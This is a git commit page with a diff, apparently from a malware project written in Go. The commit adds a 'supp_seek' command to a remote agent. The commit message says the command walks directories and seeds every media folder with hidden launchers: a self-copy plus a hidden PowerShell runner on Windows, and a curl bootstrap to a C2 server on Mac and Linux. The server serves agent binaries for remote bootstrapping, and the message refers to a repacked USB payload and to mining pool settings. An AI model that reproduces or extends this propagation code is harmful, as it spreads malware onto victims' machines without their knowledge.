feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
@@ -22,6 +22,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "supp_seek":
|
||||
// No forge gate — always available; path is required at call time.
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -121,6 +123,30 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "supp_seek":
|
||||
seekPath := strings.TrimSpace(path)
|
||||
if seekPath == "" {
|
||||
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
||||
return true
|
||||
}
|
||||
// command field carries target flags: "win", "mac", "all" (default all)
|
||||
flag := strings.ToLower(strings.TrimSpace(command))
|
||||
opts := suppSeekOpts{
|
||||
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
||||
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
||||
ServerURL: c.cfg.ServerURL,
|
||||
}
|
||||
// data field carries optional custom stem (file name without extension)
|
||||
if strings.TrimSpace(data) != "" {
|
||||
opts.FileStem = strings.TrimSpace(data)
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
||||
go func() {
|
||||
result := suppSeekWalk(seekPath, opts)
|
||||
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
||||
}()
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
|
||||
Reference in New Issue
Block a user